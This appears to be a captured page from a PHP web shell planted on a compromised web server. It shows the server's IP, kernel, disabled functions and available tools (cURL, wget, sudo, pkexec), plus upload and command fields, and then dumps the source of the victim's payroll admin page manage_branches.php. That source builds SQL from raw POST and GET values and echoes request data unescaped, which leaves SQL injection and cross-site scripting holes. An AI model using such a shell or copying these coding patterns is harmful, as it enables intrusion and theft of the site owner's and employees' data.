X3ND1 GANTENG
Server IP : 108.163.255.210  /  Your IP : 3.141.47.139
Web Server : Apache
System : Linux blossom.urlnameserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User :  ( 1172)
PHP Version : 7.2.34
Disable Function : eval,escapeshellarg,proc_close,proc_get_status,proc_nice,proc_open,symlink,system,pcntl_exec,getrusage,chown,chgp,closelog,openlog,syslog,define_syslog_variables,php_ini_loaded_file,getservbyname,getservbyport,posix_getgid,posix_getgrgid,proc_terminate,pfsockopen,apache_child_terminate,posix_mkfifo,posix_setpgid,posix_setuid,hypot,pg_host,pos,posix_access,posix_getcwd,posix_getservbyname,myshellexec,getpid,posix_getsid,posix_isatty,posix_kill,posix_mknod,posix_setgid,posix_setsid,posix_setuid,posix_times,posix_uname,ps_fill,posix_getpwuid,global,ini_restore,zip_open,zip_read,rar_open,bzopen,bzread,bzwrite,apache_get_modules,apache_get_version,phpversionphpinfo,php_ini_scanned_files,get_current_user,disk_total_space,diskfreespace,leak,imap_list,hypo,filedump,safe_mode,getmygid,apache_getenv,apache_setenv,bzread,bzwrite,bzopen,phpini,higlight_file,dos_conv,get_cwd,er_log,cmd,e_name,vdir,get_dir,only_read,ftok,ftpexec,posix_getpwnam,mysql_list_dbs,disk_free_space,session_save_path,confirm_phpdoc_compiled,zip_entry_rea,php_u,psockopen,crack_opendict,crack_getlastmessage,crack_closedict,crack_check,fpassthru,posix_get_last_error,posix_getlogin,posix_getgroups,posix_strerror,posix_getrlimit,posix_getpgrp,posix_getgrnam,pos,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/unilinki/www/payroll/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ BERANDA ]     

Current File : /home/unilinki/www/payroll/admin/manage_branches.php
<?php
session_start();
//check if user i slogin or not. If the user is not login redirect it to login.php
if(!isset($_SESSION["adminuser"]) || $_SESSION["adminuser"]=="")
{
	header("Location:login.php");
	exit;
}
 if ($_SESSION['role_id']=="2" || $_SESSION['role_id']=="3" || $_SESSION['role_id']=="4" || $_SESSION['role_id']=="5"){
	echo "<script>window.location='../index.php' </script>";
	exit();
 }
 //require database connection file and it's supporting file.
require_once("../include/db.php");
$obj=new query_execution();
$uid=md5(uniqid(rand()));

if($_POST)
{
	if( count($_POST['ids']) > 0)
	{
		$strDelIds = implode(",",$_POST['ids']);
		// Make a user's Staus Active inactive
		if($_POST['Submit'] == 'Active')
		{
			$sqlChk = " select sno   from companies where sno  in ($strDelIds) and status= 'no' ";
			$isInactive = getSingleResult($sqlChk);
			if($isInactive == '')
			{
				$_SESSION['sess_msg'] = " Selected AD(s) are already active ";
			}
			else
			{
				$sqlA = " update companies set status = 'yes' where sno   in ($strDelIds) ";
				executeQuery($sqlA);
				$_SESSION['sess_msg'] = " Action Performed Successfully On Selected Records ";
			}
		}
		if($_POST['Submit'] == 'Inactive')
		{
			$sqlChk = " select sno  from companies where sno  in ($strDelIds) and status  = 'yes' ";
			$isInactive = getSingleResult($sqlChk);
			if($isInactive == '')
			{
				$_SESSION['sess_msg'] = " Selected AD(s) are already inactive ";
			}
			else
			{
				 $sqlI = " update companies set status='no' where sno   in ($strDelIds) ";
				executeQuery($sqlI);
				$_SESSION['sess_msg'] = " Action Performed Successfully On Selected Records ";
			}
		}
		//Delete a User or users
		if($_POST['Submit'] == 'Delete')
		{
			 $chkdel=$_POST["ids"];
				for($k=0;$k<count($chkdel);$k++){
				if($obj->execute("delete from companies  where sno='$chkdel[$k] '"))
				{ 
					
				}
					$_SESSION['sess_msg'] = " Selected User(s) Deleted Successfully ";
			}
		}
		?>
        <script language="javascript">
        location.href="manage_branches.php?page=<?php echo $_REQUEST['page']?>&uid=<?php echo $uid?>";
        </script>
<?php	}
	else
	{
		$_SESSION['sess_msg'] = " Please select at least one check box to perform desired action. ";
	}
}




$sort = $_GET['sort'];
$sortby = $_GET['sortby'];

$tableName="companies";		
$targetpage = "manage_branches.php"; 	
$limit = 30;
$query = "SELECT COUNT(*) as num FROM $tableName  ";
$total_pages = mysql_fetch_array(mysql_query($query)) or die(mysql_error());
$total_pages = $total_pages[num];
$stages = 3;
$page = mysql_escape_string($_GET['page']);
if($page){
	$start = ($page - 1) * $limit; 
}else{
	$start = 0;	
	}	

// Get page data
if($sort == '')
{
$query1 = "SELECT * FROM $tableName ORDER BY  added_date DESC ";
}
else
{
$query1 = "SELECT * FROM $tableName  ORDER BY $sortby $sort LIMIT $start, $limit ";
}
$rs_sql = mysql_query($query1) or die("error1".mysql_error());
$tot_sql=mysql_num_rows($rs_sql);

// Initial page num setup
if ($page == 0){$page = 1;}
$prev = $page - 1;	
$next = $page + 1;							
$lastpage = ceil($total_pages/$limit);		
$LastPagem1 = $lastpage - 1;					


$paginate = '';
if($lastpage > 1)
{	




	$paginate .= "<div class='paginate'>";
	// Previous
	if ($page > 1){
		$paginate.= "<a href='$targetpage?page=$prev&uid=".$uid."'>Previous</a>";
	}else{
		$paginate.= "<span class='disabled'>Previous</span>";	}
		

	
	// Pages	
	if ($lastpage < 7 + ($stages * 2))	// Not enough pages to breaking it up
	{	
		for ($counter = 1; $counter <= $lastpage; $counter++)
		{
		$_SESSION['counter']=$counter;
			if ($counter == $page){
				$paginate.= "<span class='current'>$counter</span>";
			}else{
				$paginate.= "<a href='$targetpage?page=$counter&uid=".$uid."'>$counter</a>";}					
		}
	}
	elseif($lastpage > 5 + ($stages * 2))	// Enough pages to hide a few?
	{
		// Beginning only hide later pages
		if($page < 1 + ($stages * 2))		
		{
			for ($counter = 1; $counter < 4 + ($stages * 2); $counter++)
			{
				if ($counter == $page){
					$paginate.= "<span class='current'>$counter</span>";
				}else{
					$paginate.= "<a href='$targetpage?page=$counter&uid=".$uid."'>$counter</a>";}					
			}
			$paginate.= "...";
			$paginate.= "<a href='$targetpage?page=$LastPagem1&uid=".$uid."'>$LastPagem1</a>";
			$paginate.= "<a href='$targetpage?page=$lastpage&uid=".$uid."'>$lastpage</a>";		
		}
		// Middle hide some front and some back
		elseif($lastpage - ($stages * 2) > $page && $page > ($stages * 2))
		{
			$paginate.= "<a href='$targetpage?page=1&uid=".$uid."&view=yes'>1</a>";
			$paginate.= "<a href='$targetpage?page=2&uid=".$uid."&view=yes'>2</a>";
			$paginate.= "...";
			for ($counter = $page - $stages; $counter <= $page + $stages; $counter++)
			{
				if ($counter == $page){
					$paginate.= "<span class='current'>$counter</span>";
				}else{
					$paginate.= "<a href='$targetpage?page=$counter&uid=".$uid."'>$counter</a>";}					
			}
			$paginate.= "...";
			$paginate.= "<a href='$targetpage?page=$LastPagem1&uid=".$uid."'>$LastPagem1</a>";
			$paginate.= "<a href='$targetpage?page=$lastpage&uid=".$uid."'>$lastpage</a>";		
		}
		// End only hide early pages
		else
		{
			$paginate.= "<a href='$targetpage?page=1&uid=".$uid."'>1</a>";
			$paginate.= "<a href='$targetpage?page=2&uid=".$uid."'>2</a>";
			$paginate.= "...";
			for ($counter = $lastpage - (2 + ($stages * 2)); $counter <= $lastpage; $counter++)
			{
				if ($counter == $page){
					$paginate.= "<span class='current'>$counter</span>";
				}else{
					$paginate.= "<a href='$targetpage?page=$counter&uid=".$uid."'>$counter</a>";}					
			}
		}
	}
				
			// Next
	if ($page < $counter - 1){ 
		$paginate.= "<a href='$targetpage?page=$next&uid=".$uid."'>Next</a>";
	}else{
		$paginate.= "<span class='disabled'>Next</span>";
		}
		
	$paginate.= "</div>";
}
require_once("header.php");
?>
<script language="JavaScript">
function checkall(objForm)
{
	//alert(objForm);
	len = objForm.elements.length;
	var i=0;
	for( i=0 ; i<len ; i++) 
	{
		if (objForm.elements[i].type=='checkbox') objForm.elements[i].checked=objForm.check_all.checked;
	}
}
function del_prompt(comb)
{
	
	if(comb=='Delete')
	{
		if(confirm ("Are you sure you want to delete Record(s)"))
		{
			document.frm_del.submit();
		}
		else
		{ 
			return false;
		}
	}
}
</script>
<!----header ends-->
      <!-- Left side column. contains the logo and sidebar -->
      <?php
	  require_once("left.php");
	  ?>

      <!-- Content Wrapper. Contains page content -->
      <div class="content-wrapper">
        <!-- Content Header (Page header) -->
        <section class="content-header">
          <h1>Manage Branches</h1>
          <ol class="breadcrumb">
            <li><a href="dashboard.php"><i class="fa fa-dashboard"></i> Home</a></li>
			<li class="active">Manage Branches</li>
          </ol>
        </section>

        <!-- Main content -->
        <section class="content">
          <div class="row">
            <div class="col-xs-12">
              <div class="box">
                <div class="box-header">
                  <h3 class="box-title">View</h3>
                  <h3 class="box-title" style="float:right"><a href="add_edit_branches.php">Add New Branches</a></h3>
                </div><!-- /.box-header -->
                <div class="box-body">
                <form name="frm_del" method="post" >
                  <table id="example1" class="table table-bordered table-hover">
                    <thead>
                    <?php  if($_SESSION['sess_msg'] != ''){?>
								  <tr align="center" bgcolor="#FF000">
									<td height="25" colspan="12" class="blue_txt"><?php  echo $_SESSION['sess_msg']; $_SESSION['sess_msg'] = '';?></td>
								  </tr>
								<?php  }elseif($_REQUEST['action']=='add'){ ?>
									<tr align="center" bgcolor="#00FFFF">
									<td height="25" colspan="12" class="blue_txt"><?php  echo "Branches Added Successfully"; ?></td>
								  </tr>
								<?php  }elseif($_REQUEST['action']=='notadd'){ ?>
                                	<tr align="center" bgcolor="#FF000">
									<td height="25" colspan="12" class="blue_txt"><?php  echo "Branches Not Added"; ?></td>
								  </tr>
                                <?php  }elseif($_REQUEST['action']=='duplicate'){ ?>
                                	<tr align="center" bgcolor="#FF000">
									<td height="25" colspan="12" class="blue_txt"><?php  echo "Duplicate Branches" ;?></td>
								  </tr>
                                  <?php  }elseif($_REQUEST['action']=='update'){ ?>
                                	<tr align="center" bgcolor="#00FFFF">
									<td height="25" colspan="12" class="blue_txt"><?php  echo "Branches updated Successfully" ;?></td>
								  </tr>
                                  <?php  }elseif($_REQUEST['action']=='notupdate'){ ?>
                                	<tr align="center" bgcolor="#FF000">
									<td height="25" colspan="12" class="blue_txt"><?php  echo "Branches not Update" ;?></td>
								  </tr>
                                <?php }?>
                      <tr>
                        <th>Branch Name</th>
                        <th>City</th>
                        <td>State</td>
                        <td>Country</td>
                        <td>Phone No.1</td>
                        <td>Phone No.2</td>
                        <td>Email ID</td>
						<td>Total Employee</td>
                        <th>Status</th>
						<td>Action(s)</th>
                         <td align="center"> <input name="check_all" type="checkbox" id="check_all" value="check_all" onClick="checkall(this.form)"></td>
                      </tr>
                    </thead>
                    <?php if($tot_sql != 0){ ?>
                    <tbody>
                    <?php
					 $i=0;
					 $j=$tot_sql;
						while($line=mysql_fetch_array($rs_sql))
						{
						$i++;
						
						  ?>
                      <tr>
                        <td><?php echo $line['name']?></td>
                        <td><?php echo $line['add']?></td>
                        <td><?php echo $line['state']?></td>
                        <td><?php echo $line['country']?></td>
                        <td><?php echo $line['mno1']?></td>
                         <td><?php echo $line['mno2']?></td>
                          <td><?php echo $line['email']?></td>
						  <td><?php echo $emp_line=mysql_num_rows(mysql_query("select sno from employee where company='".$line['name']."'"));?></td>
                        <td><?php if($line['status']=='yes'){ echo "Active"; }else{ echo "Inactive"; }?></td>
                        <td><a href="add_edit_branches.php?action=edit&sno=<?php echo $line[0]?>&page=<?php echo $_REQUEST['page']?>"><img src="dist/img/edit_icon.gif" alt="Edit" width="16" height="16" border="0"></a></td>
                        
                         <td align="center" valign="middle"><input type="checkbox" name="ids[]" value="<?php echo $line[0]?>">                        </td>
                      </tr>
                      <?php 
					 $j--;
					  }?>
                    </tbody>
                    <?php }else{?>
                    <tbody>
                     <tr align="center">
                        <td colspan="8">Sorry, currently there 
                          are no <span class="white_bold_big">Branches </span>  present.</td>
                      </tr>
                    </tbody>
                    <?php }?>
                    
                      <tr>
                        <td colspan="10" align="right"><input name="Submit" type="submit" class="btn btn-info"  value="Active">&nbsp;
                          <input name="Submit" type="submit" class="btn btn-info "  value="Inactive"> &nbsp;
                        <input type="submit" name="Submit" value="Delete" class="btn btn-info " >&nbsp;</td>
                       
                        
                      </tr>
                    </tfoot>
                  </table>
                  </form>
                </div><!-- /.box-body -->
              </div><!-- /.box -->
            </div><!-- /.col -->
          </div><!-- /.row -->
        </section><!-- /.content -->
      </div><!-- /.content-wrapper -->
<?php
require_once("footer.php");
?>

Anon7 - 2022
SCDN GOK